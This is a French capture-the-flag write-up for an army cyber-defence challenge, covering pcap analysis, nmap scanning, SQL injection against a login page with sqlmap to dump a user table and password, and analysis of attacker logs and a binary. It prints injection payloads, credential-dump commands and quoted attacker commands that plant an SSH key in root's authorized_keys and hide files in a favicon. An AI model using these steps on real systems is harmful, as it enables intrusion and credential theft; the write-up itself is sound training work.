“Mettez vos compétences en cybersécurité au service de l'armée de Terre dans un challenge immersif organisé par le Commandement de la cyberdéfense.”

“Mettez vos compétences en cybersécurité au service de l'armée de Terre dans un challenge immersif organisé par le Commandement de la cyberdéfense.”

Capture the flags (CTF)

CTF COMCYBER : votre entrée dans l'univers des défis cyber

Missions exceptionnelles, environnement hors du commun : découvrez les opérations militaires d'un sous-officier cyber à travers un CTF immersif. Trouvez les 6 flags cachés et dévoilez vos talents en cybersécurité.

Niveau
Rookie
Condition
BlackBox
Flagged
5/6

Write-up

Opérateur 10 à Cyberphantom. Prenez message :

Nous avons perdu la communication avec un véhicule alors que nous sommes en pleine opération. Nous avons une suspicion de hacking. J'ai besoin de votre diagnostic afin de rétablir la communication avec le véhicule dans les plus brefs délais.

Vous trouverez ici les derniers logs de communication entre la station radio et le véhicule. Ces informations devraient vous être utiles.

Terminé.

Notre investigation commence avec les derniers logs de communication fournit par notre opérateur. À notre disposition, un fichier capture.pcap.

Analyse avec Wireshark

La première étape consiste à examiner les paquets réseaux pour identifier des anomalies.

L'investigation met en avant une suite d'actions utilisées pour se renseigner sur la configuration d'un serveur. On comprend que le serveur analysé est la cible et a l'IP 163.172.68.42. L'attaquant lui, a l'IP 10.10.0.254 et utilise une connection Telnet pour lancer ses commandes et se renseigner sur le serveur.

Ces IPs sont probablement obsolètes, évitez de les utiliser sans précautions spécifiques.

Une trame suspecte attire notre attention :

Frame 83: 148 bytes on wire (1184 bits), 148 bytes captured (1184 bits) on interface any, id 0

0000   00 04 00 01 00 06 02 42 0a 0a 00 fe 00 00 08 00   .......B........
0010   45 00 00 84 ec c4 40 00 40 06 5a d1 0a 0a 00 fe   E.....@.@.Z.....
0020   a3 ac 44 2a 9a 30 00 17 80 60 6c 5a 89 9a 4f 57   ..D*.0...`lZ..OW
0030   80 18 01 e9 f3 54 00 00 01 01 08 0a b3 12 b6 84   .....T..........
0040   b3 39 10 33 65 63 68 6f 20 55 6b 31 37 4e 32 46   .9.3echo Uk17N2F
0050   6d 5a 6a 4a 68 4e 6a 41 33 59 6a 45 7a 5a 6a 63   mZjJhNjA3YjEzZjc
0060   7a 59 32 49 77 4f 54 4d 32 5a 6a 6b 32 5a 54 59   zY2IwOTM2Zjk2ZTY
0070   33 59 6a 49 78 4d 44 49 77 4e 32 46 6c 4d 44 51   3YjIxMDIwN2FlMDQ
0080   33 4e 58 30 4b 20 3e 20 2f 74 6d 70 2f 73 65 63   3NX0K > /tmp/sec
0090   72 65 74 0a                                       ret.

La trame contient une commande qui enregistre une chaîne de caractères vers un fichier /tmp/secret.

echo Uk17N2FmZjJhNjA3YjEzZjczY2IwOTM2Zjk2ZTY3YjIxMDIwN2FlMDQ3NX0K > /tmp/secret

La chaine de caractère est encodée en base64, une fois décodée, elle révèle le premier flag RM{7aff...}.

Contrairement à d'autres CTF, ce challenge ne propose pas de site pour valider les flags ni d'indication initiale sur leur nombre. Il s'agit d'une épreuve en conditions réelles où l'investigation continue est essentielle pour progresser.

Poursuivons!

Une seconde trame attire notre attention

Frame 89: 101 bytes on wire (808 bits), 101 bytes captured (808 bits) on interface any, id 0

0000   00 00 00 01 00 06 02 42 37 94 7b 6e 02 42 08 00   .......B7.{n.B..
0010   45 00 00 55 76 90 00 00 34 06 1d 35 a3 ac 44 2a   E..Uv...4..5..D*
0020   0a 0a 00 fe 00 17 9a 30 89 9a 4f a4 80 60 6c ca   .......0..O..`l.
0030   80 18 01 fe c4 69 00 00 01 01 08 0a b3 39 27 04   .....i.......9'.
0040   b3 12 be ed 6e 65 74 73 74 61 74 20 2d 6e 75 74   ....netstat -nut
0050   65 6c 61 70 20 7c 20 67 72 65 70 20 2d 69 20 35   elap | grep -i 5
0060   30 30 30 0d 0a                                    000..

L'attaquant semble vérifier si le port 5000 du serveur est actif

netstat -nutelap | grep -i 5000

Néanmoins, la commande ne fournit pas d'output.. Confirmons que le port 5000 n'est pas ouvert.

En complément de wireshark, apackets.com permet un affichage différent des données capturées. Rapport apackets.com (PDF)

Énumération des ports avec Nmap

Grâce à une analyse Nmap, nous découvrons que le port 5000 offre un service HTTP :

# on vise l'IP 163.172.68.42
nmap -Pn -sC -sV -O -oN initial.nmap

Sortie Nmap partielle (énumération complète) :

# NMAP partial output
PORT     STATE    SERVICE VERSION
5000/tcp open     http    nginx 1.22.1

Lorsque l'on visite le service http://163.172.68.42:5000, on découvre une page de login.

  • nous sommes redirigé vers http://163.172.68.42:5000/login
  • on notera qu'avec edge, on voit directement la page de login, avec d'autres navigateurs, il faut faire l'effort de supprimer des balises html pour voir la page de login (peut être une obfuscation volontaire ?)

Exploitation SQL avec SQLMap

Un test rapide de ce formulaire met en evidence une injection SQL possible.

username = admin
password = "' or 1=1 --"

Nous allons utiliser SQLMap pour identifier et exploiter l'injection SQL (fichier login.template).

python3 sqlmap/sqlmap.py -v -r "login.template" --batch --level=5 --risk=3 --flush-session --fresh-queries --threads=8 --output-dir=./sqlmap-login -p password

SQLMap confirme la possibilité d'injection SQL.

[22:57:51] [INFO] checking if the injection point on (custom) POST parameter '#1*' is a false positive
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 299 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: username=test@test.com&password=-1571' OR 4147=4147-- sZBN

  Type: time-based blind
  Title: SQLite > 2.0 OR time-based blind (heavy query)
  Payload: username=test@test.com&password=2' OR 2625=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- hnWG
---
[22:57:53] [INFO] the back-end DBMS is SQLite
                    web application technology: Nginx 1.22.1
                    back-end DBMS: SQLite

On recherche le nom des tables disponibles.

python3 sqlmap/sqlmap.py -v -r "login.template" --batch --level=5 --risk=3 --flush-session --fresh-queries --threads=8 --output-dir=./sqlmap-login -p password --tables

Cela dévoile une table « user ».

[22:59:57] [INFO] retrieved: user

On tente d'exfiltrer les donnees de cette table.

python3 sqlmap/sqlmap.py -v -r "login.template" --batch --level=5 --risk=3 --flush-session --fresh-queries --threads=8 --output-dir=./sqlmap-login -p password --dump -T user

On obtient le dump qui suit :

id,password,username
NULL,RM{a868...},admin
NULL,MEqvgJqr4W48U7L^eEaR!,alice

Cette exfiltration révèle un second flag RM{a868...}.

Pour les utilisateurs moins familiers, consultez ce tutoriel SQLMap.

Bien qu'on puisse déjà se loguer avec l'injection SQL admin et comme password "' or 1=1 --", nous avons maintenant un identifiant valide.

  • alice / MEqvgJqr4W48U7L^eEaR!

Goliath : Une piste prometteuse

Une fois logué, nous arrivons sur cette interface :

Goliath dashboard

On remarque une liste de véhicule. Une fois un véhicule sélectionné, des informations sur le véhicule apparaissent.

Pour le véhicule GOLIATH, ces informations semblent indisponibles et une zone de contenu avec un bouton permet de récupérer des logs. Le fichier de logs

On trouve dans cette meme zone de contenu un bouton "ENABLE COMMUNICATION", qui ouvre une popin avec une identification ; Le formulaire n'a pas eu l'air d'etre exploitable.

Goliath enable communication

Apres investigation, le fichier révèle une commande avec une chaine de caractères encodée en hexadecimal qui doit être ajoutée à la crontab du serveur.

Aug 27 12:38:49 COMCYBER_SRV root[250822]: CMD(echo '2a202a202a202a202a20206563686f2027524d7b393835336561303861623734373265653865663237633631363239396461663530653330626439307d270a' | xxd -r -p | crontab -) [0]

Une fois décodé, on obtient un nouveau flag RM{9853...}.

* * * * * echo 'RM{9853...}'

Analyse de favicon.ico

En poursuivant l'analyse de ces logs, on trouve une autre commande qui semble être une tentative de recuperation d'un fichier.

Aug 27 12:25:02 COMCYBER_SRV root[250822]: CMD(echo 'efa3fb1f409aa622dddd7220ad6567580fb68b68' > /tmp/.password) [0]
Aug 27 12:33:56 COMCYBER_SRV root[250822]: CMD(zip --password $(cat /tmp/.password) secret.zip message.txt m4lw3r3) [0]
Aug 27 12:38:48 COMCYBER_SRV root[250822]: CMD(cat /app/static/assets/images/favicon.ico ./secret.zip > /app/static/assets/images/favicon.ico) [0]

Le pirate a tenté de cacher des informations dans le fichier favicon.ico.

  • un fichier message.txt
  • un fichier m4lw3r3

Le fichier favicon.ico a été exfiltré via le lien http://163.172.68.42:5000/static/assets/images/favicon.ico.

Analysons ce fichier. Avec les logs precedents, nous savons que le mot de passe du fichier zip est efa3fb1f409aa622dddd7220ad6567580fb68b68.

unzip favicon.ico
cat -e message.txt

Le fichier message.txt contient un nouveau flag.

RM{6ba4...}

/!\ On notera que le hacker a laissé sa clef SSH sur la machine avant de supprimer ses traces. /!\ -> A SUPPRIMER DONC

Aug 27 12:38:49 COMCYBER_SRV root[250822]: CMD(echo 'ssh-rsa AAAAB3NzKV0CWVq3ngl2ThMYDfPehFMEBggHMwQsFqGYirCYEt+XOQWs5wHEZzhDTRfIR29Vgi3UqWOZ2+ddwq5xmcSMwk6BY+sZVRwxuSvNKXnz0jfrz667poinUJD8LRDAiBujt0fbyNpb8aKqAQxPwvRkWIRuktfZk9vs3zjzFYhQRIhn7geAPFCywOfBJVkUfD9mfYow9pihhKnXSvEB/z81edCzXerGxUQ1ztFXZsZmaS5Th1fPF3Vq0dz7kDNo95TP64qO6NY8PS5vbFgw0bppOlK8a8lNw04Zco7iNKtI90+UAfkgookBcG/TkhMcnqk9YTpt+qli1dD7RcxbNBsJBvWDxQYSsBDYsJsBr36TaVpewxWkiPjfTpsvLJGC7SFNX13msjgOFgzzWlMKUrYvsEqprBr6h3cI30Ql1o5HpbL/M04i9UPf+KpvY5PUBX94QbrOFthV/K1gpi/thkBhFqooT9/tnQiIxw== kali@attacker' >> /root/.ssh/authorized_keys) [0]
Aug 27 12:38:58 COMCYBER_SRV root[250822]: CMD(rm -rf ./message.txt ./secret.zip ./m4lw3r3) [0]
Aug 27 12:38:59 COMCYBER_SRV root[250822]: CMD(rm -rf /tmp/.password) [0]
Aug 27 12:38:59 COMCYBER_SRV root[250822]: CMD(find / -perm -4000 -user root -exec ls -ld {} \; 2> /dev/null) [0]
Aug 27 12:38:59 COMCYBER_SRV root[250822]: CMD(rm -rf /tmp/hack) [0]

Étude de m4lw3r3

Le fichier m4lw3r3 est un fichier binaire (ELF 64-bit GNU/Linux 3.2.0). Nous pouvons l'exécuter sur une machine dédiée et sécurisée pour voir ce qu'il fait.

L'outil https://any.run/ ne révèle pas d'action malveillante (pas d'activité sur le réseau, pas de modification de fichier, pas de modification de registre). L'outil https://www.hybrid-analysis.com ne révèle rien non plus

Apres la mise en place d'une sandbox Linux/Kali, on peut exécuter le fichier librement.

./m4lw3r3
./m4lw3r3 input1 input2

La sortie d'exécution est standard et présente qu'il faut renseigner deux paramètres au binaire.

Une veine tentative de désassemblage/debug avec GDB n'a rien donnee, le binaire ne semble pas avoir les flags de compilation nécessaire.

On continue l'analyse du binaire avec IDA Free qui présente une cartographie complète du fonctionnement du binaire.

IDA flag input 1

Un premier flag, à peine masqué, est découvert RM{6762...}.

Lors d'une nouvelle execution, le binaire confirme le premier argument

./m4lw3r3 RM{6762...} input2

Input2, OpenSSL ?

Malheureusement, je n'ai pas trop perseveré sur le dernier flag, faute de temps et de compétence.

Néanmoins, une piste s'est dégagé au fil de l'analyse.

De ce qui est indiqué par mon stagiaire (ChatGPT) sur l'analyse de l'assembleur du binaire m4lw3r3, l'input2 ferait 128 caractères (en octets ? en bytes ?). De ce que je comprends de la suite de l'épreuve est : que l'on doit trouver ce dernier paramètre, généré et/ou confirmé par un algorithme (OpenSSL ? RSA ?).

Ces paramètres doivent ensuite permettre de déchiffrer la chaine qui suit, comme révèle dans le binaire, s'agit-il du dernier flag ?

puts(
"You should be able to decrypt this: 0x39c463428c629ce94df5bc1cb17bec86cb2231203a5270c598173f31415ff710696318"
"d9e889e1c891728fed2ed14a291a5b3b76e217d6f3bf24bd484b71f08843b4f3cbb30a5d480cf4e34339c5e06acc76574cfbea08a4fc"
"a2c73388b4e08831f8e037489092346809d7c164ab270a5e04ae40a327c99590da89025ac48aa5"
);

// 0x39c463428c629ce94df5bc1cb17bec86cb2231203a5270c598173f31415ff710696318d9e889e1c891728fed2ed14a291a5b3b76e217d6f3bf24bd484b71f08843b4f3cbb30a5d480cf4e34339c5e06acc76574cfbea08a4fca2c73388b4e08831f8e037489092346809d7c164ab270a5e04ae40a327c99590da89025ac48aa5

hexa m4lw3r3

Durant l'investigation, j'ai découvert l'outil en ligne https://dogbolt.org qui permet de désassembler en ligne avec plusieurs outils concurrents, mais complémentaires. Deux (Dewolf et RetDec) m'ont permis d'émettre des hypothèses sur la résolution de ce dernier challenge.

Dewolf désassemble en C et RetDec en C++, j'aurais pu profiter des codes générés pour :

  • renommer les variables et fonctions avec des noms claires pour éclaircir le contexte
  • copier et compiler le code dans un environment de développement et debugger
  • essayer de disposer le code dans le sens inverse d'exécution pour identifier les éléments manquants

Mais peut-être ai-je manqué ce dernier flag ailleurs...

Conclusion

Très sympa de réaliser ses challenges en condition réelle. Cet exercice m'a permis de valider mes acquis suite à ma reprise des challenges sur root-me.org et les CTFs FCSC, 404 CTF et https://star.hackademint.org.

Je suis ravi qu'il n'y ait pas eu d'OSINT, le challenge aurait pu s'arrêter beaucoup plus tôt pour moi.

Merci aux équipes qui ont organisé cet événement.

Une erreur, une typo vous pique les yeux ou encore je n'ai pas respectez The 10 commandments of writing solution. Contactez-moi via GitHub, je ferai le nécessaire.